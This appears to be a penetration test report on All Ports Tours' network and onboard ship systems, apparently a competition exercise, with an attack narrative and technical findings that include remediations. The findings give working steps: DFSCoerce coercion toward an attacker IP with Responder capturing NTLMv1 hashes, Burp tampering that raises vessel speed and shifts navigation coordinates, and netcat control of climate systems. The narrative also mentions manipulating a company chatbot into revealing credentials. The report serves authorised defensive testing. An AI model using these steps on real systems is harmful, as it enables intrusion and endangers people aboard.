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2. INTRODUCTION

2.1 NON-DISCLOSURE STATEMENT

This document contains confidential information proprietary to All Ports Tours (APT) and Finals-12.
The distribution of this document to third parties must be approved by APT.

2.2 ENGAGEMENT TIMELINE

DATE DESCRIPTION

09-17-2025 APT contracted Finals-12 to perform a penetration test of the internal network.
11-01-2025 Finals-12 performed testing of the APT network and systems.

11-01-2025 Finals-12 delivered the initial penetration test report to APT.

01-09-2026 Finals-12 performed a reassessment of the APT network and systems.

01-10-2026 Finals-12 delivered the final penetration test report to APT

Table 1. Engagement timeline

2.3 CONTACT INFORMATION

All Ports Tours

Name Bailey Finn
Role Director of Technical Services
Email bailey.finn@allports.tours

Role Offensive Security Consultants

Email cptcll-finals-12@cptc.team

Table 2. Contact information

N
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All Ports Tours Security Assessment Finals-12

3. ENGAGEMENT OVERVIEW

3.1 EXECUTIVE SUMMARY

Finals-12 was contracted to perform a reassessment of All Port Tours' (APT) systems after the initial
penetration test in November. This assessment aimed to evaluate the organization's security posture
through revalidation of prior findings and a repeated testing of systems and controls. The
engagement confirmed that several previously identified issues were successfully remediated,;
however, multiple high-impact weaknesses remain. In this penetration test, Finals-12 gave special
focus to testing the cybersecurity of systems that would affect crew and passenger safety on APT
vessels.

During the assessment, Finals-12 was supplied access to Claude by APT which was utilized in a
limited supporting capacity to assist with workflows and analysis. It was observed to operate
effectively within an analytical boundary.

Finals-12 discovered 23 vulnerabilities across 9 systems, of which 35% were found to present a

critical or high risk. Additional statistics can be reviewed in 5.1: Finding Statistics.

Finals-12 identified systemic issues concerning APT's practices. Finals-12 strongly recommends the
following top 3 changes to address urgent deficiencies:

1. Require authentication to OT systems, specifically the navigation and temperature systems

2. Implement a secure password policy across all systems and applications

3. Improve authorization and logic within custom applications to prevent attacker manipulation

Compared to the previous assessment, Finals-12 witnessed notable improvements. Finals-12 would
like to especially commend APT for the following improvements:
1. Stronger access controls reduce the risk of . .

& Vulnerabilities by Risk

account compromise
2. Onboarding passwords were no longer found

. ® Critical
in use by employees o Hiah
- . g
3. Acritically vulnerable debug feature in the i
Medium
temperature controls was removed Low

Overall, APT has noticeably strengthened its security

posture, especially within its Windows systems, but
still has opportunities for further improvement.
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3.2 RISK ANALYSIS METRIC

Finals-12 used the Common Vulnerability Scoring System 4.0' (CVSS) to assess the technical impact
of discovered vulnerabilities. However, this metric does not take the business impact of
vulnerabilities into consideration. Therefore, Finals-12 also employed a custom, heuristic risk
assessment system to measure overall criticality. The following table outlines Finals-12’s criteria for
vulnerability rating and highlights the risk level of the engagement findings.

LIKELIHOOD IMPACT

LOW MEDIUM HIGH CRITICAL

Low

Table 3. Heuristic risk matrix used by Finals-12 when assigning risk levels to vulnerabilities

3.3 RISK ANALYSIS SCALE DEFINITIONS

The following two tables outline Finals-12's criteria for assigning impact and likelihood ratings to
technical findings.

IMPACT

Significant impact to the system or service’s confidentiality, integrity, or
CRITICAL availability. As well as significant impact to subsequent systems and/or
individuals.

Significant impact to the system or service’s confidentiality, integrity, or
availability.

Affects a limited set of users and/or results in disclosure of sensitive
information that could enable further attacks.

Affects a small number of users and/or results in the disclosure of
non-critical information such as verification that a user exists.

Table 4. Impact rating overview

! https://www.first.org/cvss/v4.0/specification-document
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LIKELIHOOD

Requires no authentication or anonymous authentication and can be

RS exploited using publicly available code or tools.

Requires low privileges and can be exploited using publicly available code.

Requires high privileges on a commonly accessible component or requires
a custom exploit.

Requires  high  privileges on a component with specific
deployment/execution requirements or depends on chained exploitation
with other vulnerabilities.

Table 5. Likelihood rating overview

CONFIDENTIAL — DO NOT DISTRIBUTE
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4. STRATEGIC RECOMMENDATIONS

4.1 KEY SECURITY STRENGTHS

4.1.1 Strong User Access Control

Across repeated attempts, Active Directory consistently resisted credential abuse and lateral
movement. NTLM relay, coercion variants, NoPAC, RPC abuse, and SMB brute-force largely failed to
produce privilege escalation or cross-system access. This indicated successful reduced
machine-to-machine trust and limited service account privileges. Additionally, a web application
vulnerable to path traversal had mitigated damage due to the account hosting this application
having limited file access. Overall, identity controls were found to be trending in the correct direction
at APT.

4.1.2 Improved Password Re-use

Finals-12 found significant improvements in the existence of password re-use across network
systems. Although some weak credentials were identified, applications did not repeat in their
credential usage. In addition, Finals-12 discovered that APT removed the use of default onboarding
credentials by the Active Directory users. This change strengthens APT's overall security posture by
minimizing exposure to common attack vectors associated with weak or re-used default credentials.

4.1.3 Improved PIl Security

Finals-12 found no evidence of leaked customer personally identifiable information (PIl) during
reassessment. The limited exposure suggests that sensitive data is appropriately protected through
access controls and data handling practices. These findings indicate improvement from Finals-12's
previous assessment on APT's safeguarding and personal data protection mechanisms, reducing the
risk of unauthorized access to personal data.

4.1.4 Evidence of Remediation Follow-Through

Several high-risk issues identified in the previous engagement were no longer exploitable. Debug
features enabling code execution were removed, authentication bypasses on admin panels were
resolved, and default onboarding credentials were eliminated. This trend shows that while there
were some unremediated findings still present, many high-risk issues were prioritized and had a
tangible impact on our ability to move through APT's environment in Finals-12's reassessment.

CONFIDENTIAL — DO NOT DISTRIBUTE 6
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4.2 KEY AREAS FOR IMPROVEMENT

4.2.1 Weak Password Policy

Finals-12 found that APT had not meaningfully improved in its handling of secure authentication
outside of the remediation of default onboarding password use. While some passwords were
changed, multiple reported credentials that were weak or exposed remained the same from the
previous assessment in November 2025. As a result, Finals-12 was able to retain credentials to high
privileged accounts on websites maintaining critical services.

As an immediate remediation, Finals-12 recommends APT revise its password policy and ensure the
new policy complies with the password policy specified by NIST 800-63-4, which requires at least
eight characters and recommends 15 characters or more®. For long-term remediation, Finals-12
recommends implementing enterprise password management software to make cycling passwords
and avoiding reused passwords easier.

4.2.2 Lack of Secure Custom Development

Finals-12 observed a trend of weak secure development throughout APT's systems. Hardcoded
credentials from the previous assessment were identified and remained unfixed, leading to
Finals-12's control of crucial systems on APT's cruise ships. Food services offered by the company
were subject to price manipulation, leading to possible financial loss for APT. Finals-12 also
succeeded in manipulating the PennyAl chatbot in disclosing confidential default credentials.
Finals-12 also found it possible to bypass security measures on the CruissantChat messaging app,
allowing for the injection of malicious messages in other user's conversations. Finals-12 recommends
the implementation of a Secure Software Development Lifecycle (SDLC) with proper code review and
testing in order to properly address the flaws discovered through APT's various applications.

4.2.3 Lack of Input Sanitization

Finals-12 discovered that APT web applications often lacked proper sanitization of user inputs before
processing them on the server-side. During the engagement, Finals-12 multiple instances of
injectable fields allowing for malicious payloads or higher values than expected to be processed
through modification of client submitted variables. For instance, on the Bridge Navigation website,
the max speed allowed was 35 on the User Interface (Ul) but by intercepting the request the variable
was able to be modified to any number disregarding the speed limit set on the Ul. Finals-12
recommends APT to check the user submitted input on the server-side in addition to the client-side
to make sure that submitted values are still in line with limits set by APT.

? https://pages.nist.gov/800-63-4/sp800-63b.html
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5. TESTING DETAILS

5.1 FINDING STATISTICS

5.1.1 Overall Statistics

Vulnerabilities by Risk

@® Critical @ High Medium Low

Figure 1. Chart showing breakdown of vulnerabilities identified based on severity rating

6 2 9 6

Table 6. Total findings by risk category
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5.2 VULNERABILITY REPORT CARD

5.2.1 Technical Findings Report

A report card outlining the technical findings and risk has been supplied below. These findings are
further detailed in 6: TECHNICAL FINDINGS and include additional remediations.

Finding

Remediation

6.1.1 SMBGhost

6.1.2 Legacy Protocol Enabled (NTLMv1)
6.1.3 Navigation Speed Limit Bypass
6.1.4 Navigation Bypass

6.1.5 Unauthenticated Temperature
Controls

6.1.6 Keycloak Weak Credentials

6.2.1 Traefik Credential Exposure

6.2.2 Cruissant Chat Conversation Inject
6.3.1 Kerberoastable Service Account
6.3.2 SMB/LDAP Signing Disabled

6.3.3 Jellyfin Weak Credentials

6.3.4 Rooms Admin Console Weak
Credentials

6.3.5 Hardcoded Credentials in Admin
Console

6.3.6 Price Manipulation
6.3.7 PennyAl Information Disclosure

6.3.8 Unauthenticated Room Console
Access

6.3.9 Navigation Log LFR

CONFIDENTIAL — DO NOT DISTRIBUTE

Ensure Windows hosts are up to date with security patches
Upgrade Legacy protocol to NTLMv2

Validate user input on server-side before processing
Validate user input on server-side before processing

Implement proper authentication and access controls

Implement long and complex password

Secure credentials in a server-side environment
Validate user input on server-side before processing
Enforce strong password policies

Enforce SMB and LDAP signing across all affected hosts
Implement long and complex password

Enforce strong password policies

Store hardcoded passwords and secrets in an encrypted
database

Validate user input on server-side before processing
Implement authentication on search_file feature

Implement proper authentication and access controls

Remove the file parameter from client-side view
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6.4.1 Jellyfin Local Directory Enumeration
6.4.2 Exposed API Docs

6.4.3 Bridge Navigation Stored XSS

6.4.4 Route Builder Stored XSS

6.4.5 NTLM Relay Via SMB

6.4.6 Exposed Ship Metrics

Restrict Media Libraries folder selection to Web Directory.
Implement authentication requirements for APl docs
Validate user input on server-side before processing
Validate user input on server-side before processing
Enforce SMB signing across all affected hosts

Require authentication to vessel metrics page

Table 7. Summarized and condensed report card for each identified vulnerability

CONFIDENTIAL — DO NOT DISTRIBUTE
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5.3 ATTACK NARRATIVE

Finals-12 was contracted to perform a reassessment of the security of All Port Tours environment.
This engagement focused on reverifying previously identified and reported attack paths while also
discovering new weaknesses in the environment.

5.5.1 January 9th, 2025

Initial enumeration began with active network discovery to identify reachable hosts and exposed
services within the 10.0.1.0/24 network scope. Finals-12 utilized nmap to first identify hosts, then
followed up with full port scans of each machine. Simultaneously, tooling and automation
frameworks were prepared to support ongoing enumeration and attack validation throughout the
engagement. Once machine addresses and services were identified, Finals-12 began to verify
whether the previously identified vulnerabilities were still present within the environment.

Weak and exposed credentials identified and reported during the previous assessment were retested
to validate APT's remediation efforts. Exposed APl docs identified within the previous engagement
were found present on the environment and still included the default user onboarding password.
Finals-12 had identified multiple users with unchanged onboarding passwords in the last
engagement, but in our reassessment found that no AD users remained utilizing this password.
Service account svc_stabilize was previously found to be kerberoastable and was able to again be
kerberoasted and was identified to have an unchanged password from the previous engagement. A
previously identified Jellyfin application was found to still utilize the same weak administrator
credentials, but initial tests to perform XSS and LFI failed.

Previously reported application-layer vulnerabilities were also tested, specifically debug features on
the vessel temperature control application at 10.0.1.10:6768 that allowed code execution. Finals-12
found this vulnerable feature had been patched. However, the application still lacks authentication
and allows for the manipulation of temperatures on vessels. Finals-12 verified this capability by
increasing the temperature by 0.1 degrees and then immediately returning it to its set value.

Web application enumeration was conducted alongside the reverification of vulnerabilities and
continued throughout the day utilizing the gobuster tool. Finals-12 identified a new KeyCloak
application on 10.0.1.13:8080 that was found to have weak, guessable administrator credentials.
Other login pages for websites were tested with the SQLmap tool, but no successful bypass was
found.

CONFIDENTIAL — DO NOT DISTRIBUTE 11
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Operator testing of the active directory domain continued. A DFSCoercion attack was successfully
executed, coercing domain controller authentication and resulting in the successful capture of an
NTLM hash. NTLM relay of the DECKHAND-01 and DECKHAND-02 accounts was attempted, but
unsuccessful. Finals-12 attempted to add a DNS entry pointing to an attacker IP, performing NTLM
reflection, but this was also unsuccessful. NoPAC was attempted with account svc_stabilize, but the
account did not have the appropriate permissions.

Additional testing focused on authentication and application abuse scenarios across multiple web
properties. Automated SQL injection testing was performed against login functionality on several
identified web applications SQLmap. However, no injectable parameters or authentication bypass
conditions were identified.

Despite these limitations, a business logic flaw was identified at admin.rooms.allports.tours that
allowed a user to place food orders without payment. This endpoint did not require authentication.
Previously, admin.rooms.allport.tours/admin.html which contained the admin panel required
authentication but could be bypassed. In our reassessment, we found that the bypass was patched.
The credentials identified in the previous test were found to be unchanged and allowed access.

5.5.2 January 10th, 2025

On the second day of the engagement, Active Directory exploitation efforts continued, following
limited progress on the prior day. A targeted credential attack was conducted using a
username:username brute-force methodology against SMB authentication against machines
10.0.1.6,10.0.1.20, and 10.0.1.21. However, no valid authentication was obtained. Additional coercion
and NTLM relay attempts were executed toward DECKHAND-01, but these efforts did not result in
successful privilege escalation. To confirm service exposure and identify any changes in the attack
surface, a comprehensive full-port scan was re-performed against 10.0.1.0/24, which did not reveal
new exploitable services. Subsequent relay attempts were repeated with alternate configurations but
again failed to produce a successful relay condition.

Multiple web-based attack paths were explored simultaneously to attempts against Active Directory.
Operators were able to identify exposed ship operational metrics at 10.0.1.10:9091 through directory
and endpoint enumeration against the Golang application. Attempts to authenticate to the ballast
control system via netcat using discovered endpoints were unsuccessful and did not result in access.
Separately, the Penny Al chatbot interface was assessed for data-access weaknesses; attempts to

12
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perform tabular extraction and file search operations were unsuccessful, indicating effective input
handling and access controls.

Further application testing identified a logic flaw within the chat functionality at chat.allports.tours
that allowed a user to submit a message to arbitrary chat channels without proper authorization
checks, representing a potential cross-channel messaging or impersonation risk.

Additional application testing was conducted against the ship navigation route builder feature found
at 10.0.1.13:8080. Multiple XSS payloads were injected into user-controllable input fields within the
router builder. However, no payload execution was observed during initial testing, and the attack
path was deprioritized at that time. Separately, a vulnerability was identified within the Jellyfin
media service hosted on 10.0.1.30:8096, where system directories /etc and /jellyfin were able to be
included within the media lists. While directory names and folder structures were visible, direct
access to file contents was restricted and file content was not successfully retrieved.

In parallel with ongoing testing activities, a dedicated engineer developed a custom Al assessment
tool leveraging Claude which was provided to us by the client to assist in identifying additional
application-level findings. This tool was able to investigate a test environment provided by the client
and flagged potential vulnerabilities in a report. Due to limited progress within the Active Directory
attack path, select team members were reallocated to support the investigation of newly identified
potential web application vulnerabilities.

The Claude agent pointed towards multiple suspected vulnerabilities within the navigation system at
10.0.1.13:8080, including the previously tested XSS within the route builder. This prompted renewed
testing. With increased persistence and refined payloads, XSS execution was successfully achieved on
the bridge navigation systems and route builder functionality. The Claude analysis also identified a
CSV export functionality with potential for path traversal that writes output files to the /tmp
directory. This was successfully able to produce files such as /etc/passwd, but the user running the
application had limited privileges and could not pull /etc/shadow. Additional DOM-based XSS
attempts were conducted against the same navigation interface, resulting in access to browser-level
artifacts such as document and session cookies. However, these artifacts did not provide a viable
path to session takeover or privilege escalation.

Throughout this testing window, the Windows Active Directory environment remained resilient to
repeated attack attempts. NTLM relay attacks over SMB were executed again, however, no machine
accounts were observed to have meaningful access to resources on alternate systems, preventing
lateral movement. Remote Procedure Call (RPC) enumeration attempts failed to return actionable

13
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information, and offline cracking efforts against captured NTLM hashes did not result in credential
recovery within the engagement timeframe.

As a final validation effort, network traffic monitoring was authorized to evaluate potential LLMNR
poisoning exposure. With approval and assistance from APT, SMB traffic was intentionally generated
toward 10.0.254.204, resulting in the capture of an administrator-level NTLM hash. Due to time
constraints and password complexity, the hash could not be cracked prior to the conclusion of the
engagement.

Following test completion, a formal wrap-up was conducted and testing artifacts were removed in
accordance with engagement cleanup procedures. Any artifacts unable to be removed by Finals-12
have been supplied in APPENDIX B: ARTIFACTS for APT's convenience.

CONFIDENTIAL — DO NOT DISTRIBUTE 14
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6. TECHNICAL FINDINGS

6.1 CRITICAL-RISK FINDINGS

6.1 SMBGhost (CVE-2020-0796)

Risk Impact CVSS Score
Critical 9.3
Likelihood CVSS Vector
Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/V

C:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Scope
10.0.1.6 (APT-DC-01) SMB 139/445

Rediscovered Vulnerability

Vulnerability Description

SMBGhost is a Remote Code Execution (RCE) and Denial of Service (DoS) class vulnerability that
abuses a flaw in the SMB 3.1.1 compression implementation in Windows build 1903 and 1909. The
signedness of a value is not checked allowing an attacker to supply a very small negative value which
is cast as a large unsigned value. Because of this, the decompressed data can exceed the intended
memory bounds allowing for arbitrary memory write.

Successful exploitation of this vulnerability allows DoS on the vulnerable host. However, in certain
scenarios, unauthenticated RCE as the NT AUTHORITY\SYSTEM user is also possible.

Business Impact Description

Successful exploitation of this vulnerability can result in threat actors obtaining Administrative
context on the domain controller. This allows for complete domain-wide compromise leading to data
exfiltration, service disruption, and ransomware. Additionally, this may lead to exfiltration of PII
leading to reputational damage and financial loss.

CONFIDENTIAL — DO NOT DISTRIBUTE 15
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Likelihood Description
Exploitation is critically likely given the vulnerability can be exploited unauthenticated and remotely
with publicly available exploit code.

MITRE ATT&CK
T1210 - Exploitation of Remote Services M1016 - Vulnerability Scanning
T1499 - Endpoint Denial of Service M1037 - Filter Network Traffic

M1051 - Update Software

Exploitation Details

1. Use Netexec
Using the netexec tool, use the smbghost module to enumerate the SMBGhost vulnerability.

nxc smb 10.0.1.6 -u '<USER>' -p '<PASS>' -M smbghost

smb 18.8.1.6 -u svc_stabilize -p B -M smbghost

45 APT-DC-21 Windows Server 2022 Build 20348 x64 (name:APT-
) (signing:Tr ( ) (Null Auth:True)

9.1.6 APT-DC-01 [+] allports.locallsvc_stabilize:

B.1.6 APT-DC-01 Potentially vulnerable to SMBGhost (CVE-2020-0796

1:16:171
8.1.6

-

Figure 2. Enumerate SMBGhost

Remediation

Finals-12 recommends APT install Windows cumulative updates released on or after March 12, 2020,
for a complete patch. In the event that this is not feasible, Finals-12 recommends disabling SMB
compression on the affected hosts with the below.

Set-ItemProperty -Path
"HKLM: \SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression
-Type DWORD -Value 1 -Force

CONFIDENTIAL — DO NOT DISTRIBUTE 16
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Resources
=> Microsoft CVE-2020-0796 Advisory
-> McAfee SMBGhost Analysis Post
=> Github SMBGhost Scan and Exploit Script

END OF FINDING BLOCK

CONFIDENTIAL — DO NOT DISTRIBUTE
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6.1.2 Legacy Protocol Enabled (NTLMv1)

Risk Impact CVSS Score
Critical 9.4
Likelihood CVSS Vector
Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/V

C:N/VI:N/VA:N/SC:N/SI:N/SA:N

Affected Scope
10.0.1.6 (APT-DC-01) SMB 139/445

Rediscovered Vulnerability

Vulnerability Description

Finals-12 rediscovered the presence of NTLMv1 in APT's environment. NTLMv1 refers to the legacy
authentication protocol used by windows to authenticate each other over the network sometimes
called NetNTLMv1. NTLMv1 utilizes poor cryptography in the form of a 56-bit DES key. Additionally,
NTLMv1's architecture is inherently insecure, the lack of a Message Integrity Code (MIC) means
authentication attempts can be relayed to alternative systems and protocols to further compromise
the network.

Successful exploitation enables attackers to derive the original system NTLM hash through the use of
rainbow tables or hash cracking. Knowledge of the NTLM hash allows attackers to gain Administrator
access to the system when paired with other abuses such as Kerberos S4U2Self Abuse. Identical
access can also be gained without the need for hash cracking if an attacker can relay to the domain
controller's LDAP server.

Business Impact Description

Successful exploitation of the vulnerability allows attackers to compromise the identity of the
domain controller leading to a complete domain compromise. Such an attack would lead to a loss of
confidentiality, integrity, and availability for all domain-joined computers and their accompanying
data. Business operations dependent on IT infrastructure will cease to operate leading to a loss of
revenue.

Likelihood Description

CONFIDENTIAL — DO NOT DISTRIBUTE 18
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Exploitation is critically likely as attackers do not need any authentication to perform the attack.
They can set up a listener such as Responder and coerce a privileged server such as the domain
controller into authenticating to them, hence revealing the NTLMv1 hash.

MITRE ATT&CK
T1187 - Forced Authentication M1027 - Password Policies

Exploitation Details

1. Coerce the domain controller
Use the DFSCoerce tool to force APT-DC-01%$ to authenticate to an attacker controlled server.

python3 dfscoerce.py -u '' -d allports.local 10.0.254.206 10.0.1.6

~/DFSCoerce
[01/9/26 10:11:31] pyt dfscoerce.py svc_stabilize allports.local 10.0.254.206 1
0.0.1.6
Password:

[-] Connecting to ncacn_np:10.0.1.6[\PIPE\netdfs]
[+] Successfully bound!
[-] Sending NetrDfsRemoveStdRoot!

Figure 3. Coerce the domain controller

2. Capture coerced request
Capture the authentication request with responder. This should be set up before coercion.

sudo responder -I eth@

NTLMv1-55P Client
NTLMv1-SSP Username :

NTLMv1-SSP Hash

Figure 4. Capture NTLMv1 hash

Remediation

Finals-12 recommends APT configure all domain controllers to only accept and provide NTLMv2

hashes. NTLMv2 hashes have a significantly superior cryptographic implementation that better
protects from such attacks.

I Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name
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I "LmCompatibilitylevel" -Value 5

Resources
=> Microsoft Enabling NTLMv2

=> DFSCoerce

END OF FINDING BLOCK

CONFIDENTIAL — DO NOT DISTRIBUTE
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6.1.3 Navigation Speed Limit Bypass

Risk Impact CVSS Score
Critical 9.3

CRITICAL Likelihood CVSS Vector

High CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/V
C:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/R:
u/Vv:D

Affected Scope

10.0.1.30 HTTP 8080

Vulnerability Description

Finals-12 discovered a vulnerability inside the bridge navigation speed control system. This

vulnerability allows an attacker to modify the speed value of the vessel beyond safe operational
limits.

Business Impact Description

Successful exploitation of this vulnerability can lead to a threat actor changing the speed of the
vessel. The manipulation of the variable presents a critical risk to the safety of the passengers and
employees on the APT ship. Additionally, exploitation of this vulnerability threatens the reputation of
APT, as any resulting incidents that can affect the safety of passengers will result in a distrust of APT.

Likelihood Description

Exploitation is highly likely, as the credentials to access the webpage hosting the ship controls are
easily guessable.

MITRE ATT&CK
T1565 - Data Manipulation M1021 - Restrict Web-Based Content

Exploitation Details

1. Click Adjust Speed
Visit the http://10.0.1.13:8080/ endpoint. Click adjust speed.
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I http://10.0.1.13:8080

Adjust Vessel Speed X

D
35 knots

Set Speed

Figure 5. View speed limit

2. Open Burp Suite
Open Burp Suite and turn on intercept.

e 13

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2025.10.6 - Temporary Project
Dashboard
Intercept HTTP history WebSockets histery Match and replace {6} Proxy settings

Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions

@ Intercept on Forward Drop

Figure 6. Turn on intercept mode
3. Capture the Request
Click the set speed option on the webpage to intercept the request. Scroll down and modify the
speed values. Forward the request.
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@ Intercept on < Forward | v Drop ~
Time Type Direction Method URL
12:31:449 Ja.. HTTP & Request POST http://10.0.1.13:8080/api/navigation.php?action=speed
Request
Pretty Raw Hex
- L - L L - L - —— - L B - - L H I . L= ] Lt L} - . ——
n LB B . L= | - - o - | I Ll a BEE BeEms B L LB} - -
BN - o - _ B L] ] u u - n - ¥ o = | | - - T _l L =l ] | ] i ] 1
h L} - e L = L l- L e | L B | " 'w = o . " m .I .I L] I _

5 Accept-Language: en-US,en;qg=0.9

& User-Agent: Mozilla/5.0 (X11; Linux x85 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/S37.36
7 Content-Type: application/json

2 Accept: */*

9 Origin: http://10.0.1.13:8080

10 Referer: http://10.0,1.13:8080/

11 Accept-Encoding: gzip, deflate, br

12 Connection: keep-alive

14 {
"speed_knots" : 10q|
}

Figure 7. Change speed to above 35
4, Verify Changed Speed

Reload the website to verify that the speed changed.
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& All Ports - Onboard M: X +

c A Notsecure 10.0.1.13

= A]|| Ports - Bridge Navigation

Bridge Dashboard Navigation Log Route Builder

Bridge Command Center - All Ports

Current Position Vessel Speed

Latitude: 18.3032°

Longitude: -74.6719° 100 knOIS
Speed Setting

52.6% of voyage complete

Figure 8. Verify new speed
Remediation
Finals-12 recommends APT implement strict server-side validation and enforcement of safety limits

for all navigation speed API parameters. Additionally, APT should implement independent safety
controls that prevent unsafe vessel operation even if navigation speed APl are manipulated.

Resources

=> Input Validation

END OF FINDING BLOCK
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6.1.4 Navigation Bypass

Risk Impact CVSS Score
Critical 9.3
Likelihood CVSS Vector

High CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/V
C:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/R:
u/Vv:D

Affected Scope

10.0.1.30 HTTP 8080

Vulnerability Description

Finals-12 discovered a vulnerability inside the bridge navigation control system. This vulnerability
allows an attacker to modify the coordinates of where a port is located.

Business Impact Description

Successful exploitation of this vulnerability can lead to a threat actor modifying the course that the
vessel takes. The manipulation of this variable presents a critical risk to the safety of the passengers
and employees on the APT ship. Additionally, exploitation of this vulnerability threatens the
reputation of APT, as any resulting incidents that can affect the safety of passengers will result in a
distrust of APT.

Likelihood Description

Exploitation is highly likely, as the credentials to access the webpage hosting the ship controls are
easily guessable.

MITRE ATT&CK
T1565 - Data Manipulation M1021 - Restrict Web-Based Content

Exploitation Details

1. Visit Homepage
Visit the http://10.0.1.13:8080/ >route=home endpoint.
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I http://10.0.1.13:8080/?route=home

ecure  10.0.1.13;
Redirect to Port Adjust Speed Update Position
Current Position Vessel Speed Heading Next Port
Latitude: 18.2711° o Miami
Longitude: -74.6185° 35 knOtS 22 ETA: 19.6h
Speed Setting Autopilot Engaged

0% of voyage complete

Current Voyage
Departure Current Position Arrival Miami
Distance Traveled 0nm Distance Remaining 686.4 nm
Total Distance 686.4 nm ETA 2026-01-10 13:17

Current Route

Houston = “q"“"';rgf‘\u i Jacksoriille
l == \
¢« + jtonio 48 Seasm) — Traveled (0 nm)
—1. et ' Remaining (686.4 nm)
L w0 Laredo
\
errey “Reynosa
il
Timoulpgs
|
1dad Victoria
~
o © / csanacl % )
. | current Position  jnd
e Y Cuba i
Mérida ) - ! Speed: 35 knots lands
o R e e 2o
Cludad dé Ccampeche i/ . eading
Mexico b [ 4 Cayman. Progress: 0% Republica
o h — Islands Jominicana
Pucbla e 48 m———t2 = iouila
2 e A s e -— 7 —/Ousmuan K0

Figure 9. Visit homepage

2. Click on Redirect Port
Click on Redirect to Port to open up the panel. Choose any destination.

- Onboard Na: X |+

cure  10.0.1.13

Redirect to Port

Miami

Select a port...

Nassaul
Freeport

Key West
Cozumel

Fort Lauderdale
San Juan

St. Thomas
Bridgetown
Oranjestad

Figure 10. Click "Redirect to Port"
3. Capture the Request
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Open Burp Suite and turn on the interceptor. Click on Confirm Redirect.

C A Notsecure 10.0.1.13

Burp Project Intruder Repeater View Help

Burp Suite Community Edition v2025.10.6 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions
Intercept HTTP history WebSockets history Match and replace {0} Proxy settings
@ Intercept on Forward

Figure 11. Turn on intercept
4. Modify the Request
Scroll down and modify the values inside of the APl request. Then, forward the request inside of
Burp Suite.
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@@ Intercept on = Forward | ~ Drop hd

Time Type Direction Method URL
12:42:52 9 Ja.. HTTP < Request FOST http:/10.0.1.13:8080/api/navigation.php?action=redirect
Request
Prattu [=EN Hoy
o = | BN | [ | n
[N B [ | - n u = n | n n | | | u
5 Accept-Language: en-US,en;gq=0.9

13
14

User-Agent: Mozilla/S.0 (X11; Linux x36 _64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/14
Content-Type: application/json

Accept: */%*

origin: http://10.0.1.13:8080

Referer: http://10.0.1.13:8080/7 route=home

Accept-Encoding: gzip, deflate, br

Connection: keep-alive
{
"port_name":"Miami",
"port_lat":25.7617,
"port_lon":-80.1918
1

Figure 12. Intercept the request

14 {
"port_name":"Miami",
"port_lat":0.7617,
"port_lon":-0.1918

i

Figure 13. Modify the request

5. Refresh Page
Refresh the page to verify the changes.
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c A Notsecure 10.0.1.13

Longitude: -74.6185° = =

0% of voyage complete Speed Setting

Current Voyage

Departure Current Position
Distance Traveled 0nm

Total Distance 4800.5 nm

Current Route

x
Destination:
Q Miami

Figure 14. Reload the page
Remediation
Finals-12 recommends APT implement strict server-side validation and enforcement of safety limits

for all navigation speed API parameters. Additionally, APT should implement independent safety
controls that prevent unsafe vessel operation even if navigation speed APl is manipulated.

Resources
=> Input Validation
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END OF FINDING BLOCK
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6.1.5 Unauthenticated Temperature Controls

Risk Impact CVSS Score
Critical 8.7

CRITICAL Likelihood CVSS Vector
Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/V
C:N/VI:N/VA:H/SC:N/SI:N/SA:N

Affected Scope
10.0.1.10 N/A 6768

Rediscovered Vulnerability

Vulnerability Description

Finals-12 discovered anonymous remote control over the temperature for the Lido Deck Climate
Control System. Threat actors with network level access can connect to the Lido Deck Climate
Control System through netcat and set the temperature to any number.

Business Impact Description

Successful exploitation of this misconfiguration would present substantial business risk as
unregulated temperatures puts the lives of customers on board APT in danger and could lead to a
significant loss of trust in and reputational harm to APT.

Likelihood Description
Exploitation is critically likely since authentication is not required and is available to anyone on the
network.

MITRE ATT&CK

T1210 - Exploitation of Remote Services M1042 - Disable or Remove Feature or Program

Exploitation Details

1. Connect to Lido Deck Climate Control
Use netcat to connect to the Lido Deck Control.
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nc 10.0.1.10 6768

Lido Deck Climate Control

LIDO DECK CLIMATE CONTROL SYSTEM

COMMANDS:

- STATUS -

- SET : Set te

- REBOOT : Res ‘
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Figure 15. Connect to Lido Deck using netcat

Change temperature
Select the change temperature option and enter a new set point.

LIDO DECK CLIMATE CONTROL SYSTEM

COMMANDS -
-~ STATUS

LN
P
|'Th
_'t
"
[+ 1]
i~
=
w

' '
= D
=

e
-
ture

X N =
m

L
e LI
-+ 5 =
L=
wom
]

dl
STem

iT.
L
-t
[+ 1]

=)
|. i
LA
™
-
-
.
M
™
=r g

Figure 16. Update Lido Deck temperature

Remediation
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Finals-12 recommends that APT implement access controls for the Lido Deck Climate Control system
to prevent anonymous or low privileged users from modifying critical systems. Finals-12 also
recommends limiting access to the Lido Deck Climate Control system to only users on the localhost.

&
i

Resources

—> Sentinel One Access Control

END OF FINDING BLOCK
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6.1.6 KeyCloak Weak Credentials

Risk Impact CVSS Score
Critical 8.8

CRITICAL Likelihood CVSS Vector
Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/V
C:H/VI:N/VA:H/SC:N/SI:N/SA:N

Affected Scope
10.0.1.13 HTTP 8180

Vulnerability Description

Finals-12 discovered the KeyCloak application used for authentication to ship navigation controls.
APT implemented weak credentials for the admin account which were easily guessed.

Business Impact Description

Successful exploitation of this vulnerability allows for threat actors to gain control over KeyCloak
used for authentication on the ship navigation page. The password of the captain user could be
reset which has access to the ship navigation page.

Likelihood Description

This vulnerability is critically likely as weak credentials are easily discovered through brute force
methods.

MITRE ATT&CK

T1003 - OS Credential Dumping M0927 - Password Policies
T1110 - Brute Force: Password Guessing

